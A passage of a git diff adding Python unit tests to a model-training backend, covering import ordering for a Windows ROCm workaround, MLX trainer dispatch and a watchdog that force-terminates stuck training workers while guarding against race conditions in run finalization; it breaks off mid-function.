+    tree = ast.parse((_CORE / "inference" / "worker.py").read_text(encoding = "utf-8"))
+    fn = _func(tree, "run_inference_process")
+    assert (
+        fn is not None
+    ), "run_inference_process not found in inference/worker.py -- renamed? update this test."
+
+    stub = _stub_call_linenos(fn)
+    assert stub, f"run_inference_process must call {_STUB}()"
+
+    dangers = []
+    for node in ast.walk(fn):
+        if _imports_transformers(node):
+            dangers.append(node.lineno)
+        elif (
+            isinstance(node, ast.Call)
+            and isinstance(node.func, ast.Name)
+            and node.func.id == "_resolve_base_model"
+        ):
+            dangers.append(node.lineno)
+    assert dangers, (
+        "no transformers-reaching site found in run_inference_process -- the anchors are stale, update "
+        "them to the new import/resolution sites."
+    )
+
+    assert min(stub) < min(dangers), (
+        f"{_STUB}() at line {min(stub)} must run before the first transformers-reaching site at line "
+        f"{min(dangers)}; otherwise torchao imports unguarded on Windows ROCm (issue #6833)."
+    )
diff --git a/studio/backend/tests/test_training_preflight.py b/studio/backend/tests/test_training_preflight.py
index 54048a65dd..47c6669f8f 100644
--- a/studio/backend/tests/test_training_preflight.py
+++ b/studio/backend/tests/test_training_preflight.py
@@ -6,9 +6,15 @@ empty-chat-template crash) before train(). The real methods are bound onto a lig
 fake self so the production logic runs against controlled batches."""
 
 import importlib
+import json
+import os
+import queue
+import subprocess
 import sys
+import threading
 import types
 import unittest
+from pathlib import Path
 from types import SimpleNamespace
 from unittest.mock import MagicMock
 
@@ -184,5 +190,231 @@ class TestChatTemplateRendersEmpty(unittest.TestCase):
         self.assertFalse(s._chat_template_renders_empty())
 
 
+def _clear_trainer_module(package: str):
+    sys.modules.pop(f"{package}.trainer", None)
+    pkg = sys.modules.get(package)
+    if pkg is not None and hasattr(pkg, "trainer"):
+        delattr(pkg, "trainer")
+
+
+def _set_training_platform(monkeypatch, package: str, backend: str):
+    training_mod = importlib.import_module(f"{package}.training")
+    from utils.hardware import hardware as hw
+
+    monkeypatch.setattr(hw, "DEVICE", None)
+    monkeypatch.setattr(
+        training_mod.platform,
+        "system",
+        lambda: "Darwin" if backend == "mlx" else "Linux",
+    )
+    monkeypatch.setattr(
+        training_mod.platform,
+        "machine",
+        lambda: "arm64" if backend == "mlx" else "x86_64",
+    )
+
+
+def _load_trainer_module(
+    monkeypatch,
+    backend: str,
+    package: str = "core.training",
+):
+    _set_training_platform(monkeypatch, package, backend)
+    _clear_trainer_module(package)
+    if package in sys.modules:
+        importlib.reload(sys.modules[package])
+    trainer_mod = importlib.import_module(f"{package}.trainer")
+    training_mod = importlib.import_module(f"{package}.training")
+    monkeypatch.setattr(
+        training_mod._MLXTrainerAdapter,
+        "_activate_transformers_for_model",
+        lambda self, model_name, hf_token: None,
+    )
+    return trainer_mod
+
+
+class _ExitedProc:
+    def join(self, timeout = None):
+        return None
+
+    def is_alive(self):
+        return False
+
+
+class _TerminableProc:
+    def __init__(self):
+        self.terminated = False
+        self._done = threading.Event()
+
+    def join(self, timeout = None):
+        self._done.wait(timeout = timeout or 5)
+
+    def is_alive(self):
+        return not self.terminated
+
+    def terminate(self):
+        self.terminated = True
+        self._done.set()
+
+
+def test_unsloth_trainer_dispatches_for_mlx_and_torch(monkeypatch):
+    trainer_mod = _load_trainer_module(monkeypatch, "mlx")
+
+    mlx_trainer = trainer_mod.UnslothTrainer()
+
+    assert type(mlx_trainer).__module__ == "core.training.training"
+    assert mlx_trainer.get_training_progress().status_message == "Ready to train"
+
+    trainer_mod = _load_trainer_module(monkeypatch, "torch")
+
+    assert trainer_mod.UnslothTrainer().__class__ is trainer_mod.UnslothTrainer
+
+
+def test_cli_mlx_trainer_activates_before_importing_trainer():
+    repo_root = Path(__file__).resolve().parents[3]
+    script = """
+import json
+import sys
+import unsloth_cli.commands.train as train_cmd
+from studio.backend.core.training import training as training_mod
+from utils.hardware import hardware as hw
+
+training_mod.platform.system = lambda: "Darwin"
+training_mod.platform.machine = lambda: "arm64"
+hw.DEVICE = None
+events = []
+
+def fake_activate(model_name, hf_token):
+    events.append({
+        "model_name": model_name,
+        "trainer_loaded": "studio.backend.core.training.trainer" in sys.modules,
+    })
+
+train_cmd._activate_mlx_transformers = fake_activate
+trainer = train_cmd._create_cli_trainer("mlx-community/Qwen3-0.6B-4bit", None)
+print(json.dumps({
+    "trainer_module": type(trainer).__module__,
+    "events": events,
+}))
+"""
+    env = os.environ.copy()
+    env["PYTHONPATH"] = os.pathsep.join(
+        [str(repo_root), str(repo_root / "studio" / "backend"), env.get("PYTHONPATH", "")]
+    )
+    result = subprocess.run(
+        [sys.executable, "-c", script],
+        cwd = repo_root,
+        env = env,
+        text = True,
+        stdout = subprocess.PIPE,
+        stderr = subprocess.PIPE,
+        check = True,
+    )
+    payload = json.loads(result.stdout)
+
+    assert payload["trainer_module"] == "studio.backend.core.training.training"
+    assert payload["events"] == [
+        {"model_name": "mlx-community/Qwen3-0.6B-4bit", "trainer_loaded": False}
+    ]
+
+
+def test_mlx_adapter_builds_config_and_reports_completion(tmp_path, monkeypatch):
+    trainer_mod = _load_trainer_module(monkeypatch, "mlx")
+    captured = {}
+
+    def fake_run_worker(config, event_queue, stop_queue):
+        captured["config"] = config
+        event_queue.put({"type": "progress", "step": 1, "total_steps": 1, "loss": 0.25})
+        event_queue.put(
+            {"type": "complete", "status_message": "done", "output_dir": config["output_dir"]}
+        )
+
+    trainer = trainer_mod.UnslothTrainer()
+    monkeypatch.setattr(trainer, "_run_mlx_worker", fake_run_worker)
+
+    assert trainer.load_model("mlx-community/Qwen3-0.6B-4bit", max_seq_length = 1024)
+    assert trainer.prepare_model_for_training(use_lora = False)
+    dataset, eval_dataset = trainer.load_and_format_dataset("org/dataset")
+    output_dir = tmp_path / "mlx-out"
+
+    assert trainer.start_training(
+        dataset = dataset,
+        eval_dataset = eval_dataset,
+        output_dir = output_dir,
+        project_name = "Sales Assistant",
+        max_steps = 1,
+        learning_rate = 3e-4,
+    )
+    trainer.training_thread.join(timeout = 5)
+
+    progress = trainer.get_training_progress()
+    config = captured["config"]
+    assert progress.is_completed
+    assert progress.output_dir == str(output_dir.resolve())
+    progress.status_message = "mutated"
+    assert trainer.get_training_progress().status_message == "done"
+    assert config["model_name"] == "mlx-community/Qwen3-0.6B-4bit"
+    assert config["project_name"] == "Sales Assistant"
+    assert config["hf_dataset"] == "org/dataset"
+    assert config["training_type"] == "Full Finetuning"
+    assert config["load_in_4bit"] is False
+    assert config["max_seq_length"] == 1024
+    assert config["learning_rate"] == 3e-4
+    assert config["output_dir"] == str(output_dir.resolve())
+    assert config["allow_external_output_dir"] is True
+
+
+def test_mlx_worker_helpers_cover_cli_paths(tmp_path, monkeypatch):
+    _load_trainer_module(monkeypatch, "mlx")
+    from core.training.worker import (
+        _resolve_mlx_local_dataset_files,
+        _resolve_mlx_output_dir,
+    )
+
+    dataset = tmp_path / "train.jsonl"
+    dataset.write_text('{"text":"hello"}\n', encoding = "utf-8")
+    monkeypatch.chdir(tmp_path)
+
+    assert _resolve_mlx_local_dataset_files(["train.jsonl"]) == [str(dataset)]
+    assert _resolve_mlx_output_dir(
+        {"output_dir": "cli-out", "allow_external_output_dir": True},
+        "mlx-community/Qwen3-0.6B-4bit",
+    ) == str((tmp_path / "cli-out").resolve())
+
+
+def test_run_mlx_training_process_applies_side_effects_before_hardware_detection(monkeypatch):
+    _load_trainer_module(monkeypatch, "mlx")
+    from core.training import worker
+    from utils.hardware import hardware as hw
+
+    order = []
+
+    def fake_activate(model_name, hf_token):
+        order.append(("activate", model_name, hf_token))
+
+    def fake_detect_hardware():
+        order.append("detect")
+        hw.DEVICE = hw.DeviceType.CPU
+        return hw.DEVICE
+
+    monkeypatch.delenv("HF_HUB_DISABLE_XET", raising = False)
+    monkeypatch.delenv("HF_HUB_ENABLE_HF_TRANSFER", raising = False)
+    monkeypatch.setattr(worker, "_activate_transformers_version_or_warn", fake_activate)
+    monkeypatch.setattr(hw, "detect_hardware", fake_detect_hardware)
+
+    event_queue = queue.Queue()
+    worker.run_mlx_training_process(
+        event_queue = event_queue,
+        stop_queue = queue.Queue(),
+        config = {"model_name": "mlx-community/Gemma-4-12B", "disable_xet": True},
+    )
+
+    event = event_queue.get_nowait()
+    assert order == [("activate", "mlx-community/Gemma-4-12B", None), "detect"]
+    assert os.environ["HF_HUB_DISABLE_XET"] == "1"
+    assert os.environ["HF_HUB_ENABLE_HF_TRANSFER"] == "0"
+    assert "MLX training requires Apple Silicon" in event["error"]
+
+
 if __name__ == "__main__":
     unittest.main()
diff --git a/studio/backend/tests/test_training_stop_watchdog.py b/studio/backend/tests/test_training_stop_watchdog.py
new file mode 100644
index 0000000000..457dfc8ea2
--- /dev/null
+++ b/studio/backend/tests/test_training_stop_watchdog.py
@@ -0,0 +1,824 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Stop-watchdog escalation for a stuck training stop.
+
+A save-stop signals the worker and waits for it to save and exit. On some platforms the
+worker saves but then wedges in post-save GPU/driver teardown and never exits, leaving the
+run stuck in "Stopping..." forever. These tests pin the bounded recovery: the watchdog
+escalates to force_terminate() a short grace after "complete" (save done) or after an
+absolute timeout (hang during save), and never force-kills a worker that exits cleanly.
+Fakes only; no GPU, network, or subprocess.
+"""
+
+from __future__ import annotations
+
+import contextlib
+import logging
+import queue
+import sys
+import threading
+import time
+import types as _types
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# Stub the heavy module-level imports of core/training/training.py so it imports
+# under CPU-only/no-network, then restore them (see the restore loop below).
+_SAVED: dict = {}
+
+
+def _stub(name, mod):
+    _SAVED[name] = sys.modules.get(name)
+    sys.modules[name] = mod
+
+
+_lg = _types.ModuleType("loggers")
+_lg.get_logger = lambda name: logging.getLogger(name)
+_stub("loggers", _lg)
+_stub("structlog", _types.ModuleType("structlog"))
+_mpl = _types.ModuleType("matplotlib")
+_plt = _types.ModuleType("matplotlib.pyplot")
+_plt.Figure = type("Figure", (), {})  # referenced in a class-def annotation
+_mpl.pyplot = _plt
+_stub("matplotlib", _mpl)
+_stub("matplotlib.pyplot", _plt)
+_hw = _types.ModuleType("utils.hardware")
+_hw.prepare_gpu_selection = lambda *a, **k: (None, None)
+_stub("utils.hardware", _hw)
+_npl = _types.ModuleType("utils.native_path_leases")
+_npl.native_path_secret_removed_for_child_start = lambda: contextlib.nullcontext()
+_npl.run_without_native_path_secret = lambda fn: fn
+_stub("utils.native_path_leases", _npl)
+_pth = _types.ModuleType("utils.paths")
+_pth.outputs_root = lambda *a, **k: "/tmp/outputs"
+_stub("utils.paths", _pth)
+
+# Whether core.training.training was already imported before this file ran; only
+# evict it below if we were the one to create the (stub-bound) module instance.
+_TRAINING_PRE_IMPORTED = "core.training.training" in sys.modules
+
+from core.training.training import TrainingBackend
+
+# Restore every stubbed module so this file never pollutes the shared session.
+for _name in (
+    "loggers",
+    "structlog",
+    "matplotlib",
+    "matplotlib.pyplot",
+    "utils.hardware",
+    "utils.native_path_leases",
+    "utils.paths",
+):
+    _prev = _SAVED.get(_name)
+    if _prev is None:
+        sys.modules.pop(_name, None)
+    else:
+        sys.modules[_name] = _prev
+
+if not _TRAINING_PRE_IMPORTED:
+    sys.modules.pop("core.training.training", None)
+    sys.modules.pop("core.training", None)
+
+# The module globals hold the escalation timeouts and are the watchdog's own
+# namespace; patch them here so tests run in well under a second.
+_G = TrainingBackend._stop_watchdog_loop.__globals__
+
+
+class _FakeProc:
+    """A subprocess handle whose liveness and kill calls the test observes."""
+
+    def __init__(self, alive: bool = True):
+        self._alive = alive
+        self.pid = 4321
+        self.terminated = False
+        self.killed = False
+
+    def is_alive(self):
+        return self._alive
+
+    def terminate(self):
+        self.terminated = True
+
+    def kill(self):
+        self.killed = True
+
+    def join(self, timeout = None):
+        pass
+
+
+def _wait_until(predicate, timeout = 5.0):
+    deadline = time.time() + timeout
+    while time.time() < deadline:
+        if predicate():
+            return True
+        time.sleep(0.01)
+    return predicate()
+
+
+def _record_force_terminate(monkeypatch, b):
+    """Replace force_terminate + escalation finalize with recorders (no DB/OS)."""
+    calls: list = []
+    monkeypatch.setattr(b, "force_terminate", lambda target_proc = None: calls.append("force"))
+    monkeypatch.setattr(
+        b,
+        "_finalize_stopped_after_escalation",
+        lambda target_proc = None, watched_job_id = None: calls.append("final"),
+    )
+    return calls
+
+
+# ----------------------------------------------------------------------------
+# (a) Escalate a short grace after "complete" (save done) if still alive.
+# ----------------------------------------------------------------------------
+
+
+def test_watchdog_escalates_after_grace_once_complete_seen(monkeypatch):
+    monkeypatch.setitem(_G, "_STOP_GRACE_S", 0.05)
+    monkeypatch.setitem(_G, "_STOP_TIMEOUT_S", 100.0)  # ensure grace, not timeout, fires
+    b = TrainingBackend()
+    calls = _record_force_terminate(monkeypatch, b)
+
+    proc = _FakeProc(alive = True)
+    b._proc = proc
+    b._complete_seen.set()  # worker reported "complete" -> save is done
+
+    b._start_stop_watchdog(cancel = False)
+    assert _wait_until(
+        lambda: calls == ["force", "final"]
+    ), "watchdog must force_terminate a worker still alive after the post-save grace"
+    b._stop_watchdog.join(timeout = 5)
+
+
+# ----------------------------------------------------------------------------
+# (b) The absolute cap is a last-resort backstop, not a save killer.
+# ----------------------------------------------------------------------------
+
+
+def test_watchdog_does_not_kill_save_still_saving_within_window(monkeypatch):
+    # save=True, no "complete" yet: a slow save in progress must not be force-killed
+    # inside the (long) absolute window.
+    monkeypatch.setitem(_G, "_STOP_GRACE_S", 100.0)
+    monkeypatch.setitem(_G, "_STOP_TIMEOUT_S", 100.0)
+    b = TrainingBackend()
+    calls = _record_force_terminate(monkeypatch, b)
+
+    proc = _FakeProc(alive = True)
+    b._proc = proc
+    b._start_stop_watchdog(cancel = False)
+
+    time.sleep(0.3)
+    assert calls == [], "an in-progress save must not be killed within the absolute window"
+    assert b._stop_watchdog.is_alive()
+
+    proc._alive = False
+    b._stop_watchdog.join(timeout = 5)
+
+
+def test_watchdog_backstop_fires_for_save_after_absolute_timeout(monkeypatch):
+    # Past the long save=True cap with no completion: force-terminate as last resort.
+    monkeypatch.setitem(_G, "_STOP_GRACE_S", 100.0)  # never trips (no complete)
+    monkeypatch.setitem(_G, "_STOP_TIMEOUT_S", 0.05)
+    b = TrainingBackend()
+    calls = _record_force_terminate(monkeypatch, b)
+
+    b._proc = _FakeProc(alive = True)
+    b._start_stop_watchdog(cancel = False)
+    assert _wait_until(
+        lambda: calls == ["force", "final"]
+    ), "the absolute backstop must force_terminate a save that never completes"
+    b._stop_watchdog.join(timeout = 5)
+
+
+def test_cancel_uses_shorter_absolute_timeout(monkeypatch):
+    # A cancel has nothing to save, so it escalates on the shorter cancel cap even before
+    # the long save cap elapses.
+    monkeypatch.setitem(_G, "_STOP_GRACE_S", 100.0)
+    monkeypatch.setitem(_G, "_STOP_TIMEOUT_S", 100.0)  # save cap would not fire
+    monkeypatch.setitem(_G, "_CANCEL_TIMEOUT_S", 0.05)
+    b = TrainingBackend()
+    calls = _record_force_terminate(monkeypatch, b)
+
+    b._proc = _FakeProc(alive = True)
+    b._start_stop_watchdog(cancel = True)
+    assert _wait_until(
+        lambda: calls == ["force", "final"]
+    ), "a cancel must escalate on the shorter cancel timeout"
+    b._stop_watchdog.join(timeout = 5)
+
+
+# ----------------------------------------------------------------------------
+# (c) No force-kill when the worker exits cleanly and promptly.
+# ----------------------------------------------------------------------------
+
+
+def test_watchdog_no_op_on_clean_quick_exit(monkeypatch):
+    monkeypatch.setitem(_G, "_STOP_GRACE_S", 5.0)
+    monkeypatch.setitem(_G, "_STOP_TIMEOUT_S", 10.0)
+    b = TrainingBackend()
+    calls = _record_force_terminate(monkeypatch, b)
+
+    proc = _FakeProc(alive = True)
+    b._proc = proc
+    b._complete_seen.set()  # save done; worker is about to exit on its own
+
+    b._start_stop_watchdog(cancel = False)
+    # Worker exits promptly, well before the grace period elapses.
+    time.sleep(0.1)
+    proc._alive = False
+
+    b._stop_watchdog.join(timeout = 5)
+    assert not b._stop_watchdog.is_alive()
+    assert calls == [], "a clean quick exit must not trigger force_terminate"
+
+
+def test_watchdog_no_op_when_worker_superseded(monkeypatch):
+    # A stale watchdog from a prior run must never kill a new run's worker: once
+    # self._proc is replaced, it exits silently.
+    monkeypatch.setitem(_G, "_STOP_GRACE_S", 0.05)
+    monkeypatch.setitem(_G, "_STOP_TIMEOUT_S", 0.05)
+    b = TrainingBackend()
+    calls = _record_force_terminate(monkeypatch, b)
+
+    old_proc = _FakeProc(alive = True)
+    b._proc = old_proc
+    b._complete_seen.set()
+    b._start_stop_watchdog(cancel = False)
+
+    # A new run takes over the handle before the grace elapses.
+    b._proc = _FakeProc(alive = True)
+
+    b._stop_watchdog.join(timeout = 5)
+    assert calls == [], "watchdog must not force_terminate a superseded worker"
+
+
+def test_new_run_gets_its_own_watchdog(monkeypatch):
+    # A stale watchdog sleeping on an old proc must not stop a new run's stop from
+    # creating its own watcher.
+    monkeypatch.setitem(_G, "_STOP_GRACE_S", 100.0)
+    monkeypatch.setitem(_G, "_STOP_TIMEOUT_S", 100.0)
+    b = TrainingBackend()
+    _record_force_terminate(monkeypatch, b)
+
+    old_proc = _FakeProc(alive = True)
+    b._proc = old_proc
+    b._start_stop_watchdog(cancel = False)
+    first_wd = b._stop_watchdog
+
+    # New run: fresh worker replaces the handle; its stop must get a new watcher
+    # even though the old (superseded) watchdog is still alive.
+    new_proc = _FakeProc(alive = True)
+    b._proc = new_proc
+    b._start_stop_watchdog(cancel = False)
+    second_wd = b._stop_watchdog
+
+    try:
+        assert first_wd.is_alive()
+        assert second_wd is not first_wd, "a new run must get its own watchdog"
+        assert b._stop_watchdog_proc is new_proc
+    finally:
+        old_proc._alive = False
+        new_proc._alive = False
+        first_wd.join(timeout = 5)
+        second_wd.join(timeout = 5)
+
+
+def test_force_terminate_targets_only_captured_proc():
+    # Superseded: force_terminate(target) must not touch a different current worker.
+    b = TrainingBackend()
+    old_proc = _FakeProc(alive = True)
+    new_proc = _FakeProc(alive = True)
+    b._proc = new_proc
+    b.force_terminate(target_proc = old_proc)
+    assert new_proc.terminated is False, "must not terminate the new run's worker"
+    assert old_proc.terminated is False, "must not terminate a handle that is not current"
+
+    # Matching: the captured handle is the current worker, so it is terminated.
+    p = _FakeProc(alive = True)
+    b._proc = p
+    b.force_terminate(target_proc = p)
+    assert p.terminated is True
+
+
+# ----------------------------------------------------------------------------
+# Post-escalation finalize leaves the parent ready for a new run.
+# ----------------------------------------------------------------------------
+
+
+def test_finalize_runs_even_if_force_terminate_raises(monkeypatch):
+    # A wedged child can make force_terminate() raise; finalize must still run so the
+    # run does not stay stuck in "Stopping...".
+    monkeypatch.setitem(_G, "_STOP_GRACE_S", 0.05)
+    monkeypatch.setitem(_G, "_STOP_TIMEOUT_S", 100.0)
+    b = TrainingBackend()
+
+    def _boom(target_proc = None):
+        raise RuntimeError("kill() failed on wedged child")
+
+    finalized: list = []
+    monkeypatch.setattr(b, "force_terminate", _boom)
+    monkeypatch.setattr(
+        b,
+        "_finalize_stopped_after_escalation",
+        lambda target_proc = None, watched_job_id = None: finalized.append(True),
+    )
+
+    b._proc = _FakeProc(alive = True)
+    b._complete_seen.set()
+    b._start_stop_watchdog(cancel = False)
+
+    assert _wait_until(
+        lambda: finalized == [True]
+    ), "finalize must run even when force_terminate raises"
+    b._stop_watchdog.join(timeout = 5)
+
+
+def test_finalize_after_escalation_clears_state(monkeypatch):
+    # Even if the OS never reaps the wedged worker, the parent must report the run
+    # stopped so the UI leaves "Stopping..." and a new run can start.
+    b = TrainingBackend()
+    finstop: list = []
+    monkeypatch.setattr(b, "_finish_stopped_run", lambda *a: finstop.append(a))
+
+    b._proc = _FakeProc(alive = True)  # wedged: still reports alive
+    b._should_stop = True
+    b.current_job_id = "job_c"
+    b._db_run_created = True
+    b._progress.is_training = True
+
+    b._finalize_stopped_after_escalation(watched_job_id = "job_c")
+
+    assert b._proc is None, "the wedged handle must be dropped so is_training_active clears"
+    assert b._progress.is_training is False
+    assert b._progress.status_message == "Training stopped."
+    assert finstop and finstop[0][0] == "job_c", "the captured run must be finalized by id"
+    assert b.is_training_active() is False
+
+
+def test_finalize_after_escalation_preserves_output_dir(monkeypatch):
+    # A save-stop that already emitted "complete" has the checkpoint dir; run history
+    # must record it even if the watchdog wins the finalize race against the pump.
+    b = TrainingBackend()
+    finstop: list = []
+    monkeypatch.setattr(b, "_finish_stopped_run", lambda *a: finstop.append(a))
+
+    b._proc = _FakeProc(alive = True)
+    b._should_stop = True
+    b.current_job_id = "job_c"
+    b._db_run_created = True
+    b._output_dir = "/tmp/outputs/run-123"
+
+    b._finalize_stopped_after_escalation(watched_job_id = "job_c")
+
+    # _finish_stopped_run(run_id, output_dir, batch, final_step, final_loss, duration, loss_history)
+    assert finstop and finstop[0][0] == "job_c"
+    assert finstop[0][1] == "/tmp/outputs/run-123"
+
+
+def test_stop_training_starts_watchdog_only_when_worker_alive(monkeypatch):
+    # No worker -> nothing to escalate; the watchdog must not spawn.
+    b = TrainingBackend()
+    b._proc = None
+    assert b.stop_training(save = True) is True
+    assert b._stop_watchdog is None
+
+
+# ----------------------------------------------------------------------------
+# (d) A stale watchdog must never clobber a run that replaced its worker.
+# ----------------------------------------------------------------------------
+
+
+def test_finalize_after_escalation_no_ops_when_superseded(monkeypatch):
+    # A /start can slip in while the watchdog force-terminates the old worker
+    # (is_training_active() is False once _should_stop is set and the old proc is dead).
+    # The escalation finalize must then leave the NEW run untouched, not drop its handle.
+    b = TrainingBackend()
+    finstop: list = []
+    monkeypatch.setattr(b, "_finish_stopped_run", lambda *a: finstop.append(a))
+
+    old_proc = _FakeProc(alive = False)  # force-terminated worker we were watching
+    new_proc = _FakeProc(alive = True)  # a new run already took over
+    b._proc = new_proc
+    b.current_job_id = "job_new"
+    b._db_run_created = True
+    b._progress.is_training = True
+
+    b._finalize_stopped_after_escalation(target_proc = old_proc)
+
+    assert b._proc is new_proc, "must not drop the new run's handle"
+    assert b._progress.is_training is True, "must not mark the new run stopped"
+    assert finstop == [], "must not finalize the new run in the DB"
+
+
+def test_finalize_after_escalation_runs_for_its_own_worker(monkeypatch):
+    # Common case: the watched worker is still current, so finalize proceeds and
+    # finalizes the captured run by id.
+    b = TrainingBackend()
+    finstop: list = []
+    monkeypatch.setattr(b, "_finish_stopped_run", lambda *a: finstop.append(a))
+
+    proc = _FakeProc(alive = False)
+    b._proc = proc
+    b.current_job_id = "job_a"
+    b._db_run_created = True
+    b._progress.is_training = True
+
+    b._finalize_stopped_after_escalation(target_proc = proc, watched_job_id = "job_a")
+
+    assert b._proc is None
+    assert b._progress.is_training is False
+    assert finstop and finstop[0][0] == "job_a", "must finalize the captured run by id"
+
+
+def test_finalize_after_escalation_no_ops_on_job_change_during_startup(monkeypatch):
+    # start_training updates current_job_id BEFORE it installs the new _proc, so a stale
+    # watchdog can enter while _proc is still the old (dead) handle. The job-id guard must
+    # catch this even though the proc-only guard would not.
+    b = TrainingBackend()
+    finstop: list = []
+    monkeypatch.setattr(b, "_finish_stopped_run", lambda *a: finstop.append(a))
+
+    old_proc = _FakeProc(alive = False)  # old worker, dead; new _proc not installed yet
+    b._proc = old_proc  # still the old handle (== target), so proc guard would pass
+    b.current_job_id = "job_new"  # but the new run already claimed the job id
+    b._db_run_created = True
+    b._progress.is_training = True
+
+    b._finalize_stopped_after_escalation(target_proc = old_proc, watched_job_id = "job_old")
+
+    assert b._proc is old_proc, "must not drop the handle during a new run's startup"
+    assert b._progress.is_training is True, "must not mark the starting run stopped"
+    assert finstop == [], "must not finalize while a new run is starting up"
+
+
+# ----------------------------------------------------------------------------
+# (e) A later cancel (save=False) tightens an in-flight save watchdog.
+# ----------------------------------------------------------------------------
+
+
+def test_later_cancel_tightens_watchdog_timeout(monkeypatch):
+    monkeypatch.setitem(_G, "_STOP_GRACE_S", 100.0)  # never trips (no complete)
+    monkeypatch.setitem(_G, "_STOP_TIMEOUT_S", 100.0)  # save cap would not fire
+    monkeypatch.setitem(_G, "_CANCEL_TIMEOUT_S", 0.05)
+    b = TrainingBackend()
+    calls = _record_force_terminate(monkeypatch, b)
+
+    b._proc = _FakeProc(alive = True)
+    b._start_stop_watchdog(cancel = False)  # started as a save-stop with the long cap
+    time.sleep(0.15)
+    assert calls == [], "a save-stop must not escalate on the short cancel cap yet"
+
+    # The user now cancels the in-flight stop: the watchdog must tighten its cap.
+    b._cancel_requested = True
+    assert _wait_until(
+        lambda: calls == ["force", "final"]
+    ), "a later cancel must tighten the watchdog to the shorter cancel cap"
+    b._stop_watchdog.join(timeout = 5)
+
+
+# ----------------------------------------------------------------------------
+# (f) DB finalize/flush are safe when the watchdog and pump race (see Item 4).
+# ----------------------------------------------------------------------------
+
+
+def _install_fake_db(monkeypatch):
+    """Stub storage.studio_db + utils.downsample so the real DB helpers run without
+    SQLite. Returns the recorder dict."""
+    recs = {"created": [], "finished": [], "inserted": [], "insert_ids": [], "progress_ids": []}
+    fake_storage = _types.ModuleType("storage")
+    fake_db = _types.ModuleType("storage.studio_db")
+    fake_db.create_run = lambda **kw: recs["created"].append(kw)
+    fake_db.finish_run = lambda **kw: recs["finished"].append(kw)
+    fake_db.insert_metrics_batch = lambda job_id, batch: (
+        recs["inserted"].extend(batch),
+        recs["insert_ids"].append(job_id),
+    )
+    fake_db.update_run_progress = lambda **kw: recs["progress_ids"].append(kw.get("id"))
+    fake_storage.studio_db = fake_db
+    monkeypatch.setitem(sys.modules, "storage", fake_storage)
+    monkeypatch.setitem(sys.modules, "storage.studio_db", fake_db)
+    fake_ds = _types.ModuleType("utils.downsample")
+    fake_ds.downsample = lambda seq, n: list(seq)[:n]
+    monkeypatch.setitem(sys.modules, "utils.downsample", fake_ds)
+    return recs
+
+
+def test_finalize_run_in_db_single_winner_under_concurrency(monkeypatch):
+    # The watchdog and pump can both finalize; only one call may reach finish_run.
+    recs = _install_fake_db(monkeypatch)
+    b = TrainingBackend()
+    b.current_job_id = "job_x"
+    b._db_run_created = True
+    b._run_finalized = False
+
+    start = threading.Barrier(8)
+
+    def worker():
+        start.wait()
+        b._finalize_run_in_db(status = "stopped")
+
+    threads = [threading.Thread(target = worker) for _ in range(8)]
+    for t in threads:
+        t.start()
+    for t in threads:
+        t.join(timeout = 5)
+
+    assert len(recs["finished"]) == 1, f"finalize must run once, got {len(recs['finished'])}"
+    assert b._run_finalized is True
+
+
+def test_finalize_run_in_db_no_ops_on_job_mismatch(monkeypatch):
+    # A finalize captured for an old job must not finalize the run that replaced it.
+    recs = _install_fake_db(monkeypatch)
+    b = TrainingBackend()
+    b.current_job_id = "job_new"
+    b._db_run_created = True
+    b._run_finalized = False
+
+    b._finalize_run_in_db(status = "stopped", expected_job_id = "job_old")
+
+    assert recs["finished"] == [], "a superseded job id must not finalize the current run"
+    assert b._run_finalized is False
+
+
+def test_concurrent_flush_claims_each_metric_once(monkeypatch):
+    # Concurrent flushes (pump periodic flush vs watchdog finalize flush) must not
+    # double-remove or drop buffered metrics.
+    recs = _install_fake_db(monkeypatch)
+    b = TrainingBackend()
+    b.current_job_id = "job_y"
+    b._db_run_created = True
+    b._metric_buffer[:] = [{"step": i} for i in range(200)]
+
+    start = threading.Barrier(6)
+
+    def worker():
+        start.wait()
+        for _ in range(50):
+            b._flush_metrics_to_db()
+
+    threads = [threading.Thread(target = worker) for _ in range(6)]
+    for t in threads:
+        t.start()
+    for t in threads:
+        t.join(timeout = 5)
+    b._flush_metrics_to_db()  # drain any remainder
+
+    steps = sorted(m["step"] for m in recs["inserted"])
+    assert steps == list(range(200)), "each metric must be inserted exactly once"
+    assert b._metric_buffer == [], "the buffer must be fully drained"
+
+
+def test_flush_pins_to_passed_run_id(monkeypatch):
+    # A finalizer flushes to the run it captured, even if a new /start has already
+    # changed current_job_id.
+    recs = _install_fake_db(monkeypatch)
+    b = TrainingBackend()
+    b.current_job_id = "job_new"  # a new run is already live
+    b._db_run_created = True
+    b._metric_buffer[:] = [{"step": 1}, {"step": 2}]
+
+    b._flush_metrics_to_db(run_id = "job_old")
+
+    assert recs["insert_ids"] == ["job_old"], "metrics must go to the captured run, not the new one"
+    assert recs["progress_ids"] == ["job_old"]
+
+
+def test_finalize_uses_snapshot_run_id_across_new_run(monkeypatch):
+    # If a new /start changes current_job_id after the finalize claim but before the DB
+    # writes, finish_run must still target the run captured under the lock.
+    recs = _install_fake_db(monkeypatch)
+    b = TrainingBackend()
+    b.current_job_id = "job_x"
+    b._db_run_created = True
+    b._run_finalized = False
+
+    def hijack(run_id = None):
+        # Simulate a new run taking over during the flush (after the finalize claim).
+        b.current_job_id = "job_y"
+
+    monkeypatch.setattr(b, "_flush_metrics_to_db", hijack)
+
+    b._finalize_run_in_db(status = "stopped", expected_job_id = "job_x")
+
+    assert [f["id"] for f in recs["finished"]] == [
+        "job_x"
+    ], "finish_run must target the captured run, not the run that replaced it"
+
+
+# ----------------------------------------------------------------------------
+# (g) DB row creation must not be published before the insert commits.
+# ----------------------------------------------------------------------------
+
+
+def test_ensure_db_run_created_publishes_only_after_insert(monkeypatch):
+    # _db_run_created must stay False while create_run is in flight, so a concurrent
+    # finalize can't run finish_run (an UPDATE) against a not-yet-inserted row.
+    b = TrainingBackend()
+    b.current_job_id = "job_z"
+    b._db_config = {"model_name": "m"}
+    observed: dict = {}
+
+    fake_storage = _types.ModuleType("storage")
+    fake_db = _types.ModuleType("storage.studio_db")
+
+    def _create(**kw):
+        observed["flag_during_create"] = b._db_run_created
+        observed["in_progress_during_create"] = b._db_create_in_progress
+
+    fake_db.create_run = _create
+    fake_storage.studio_db = fake_db
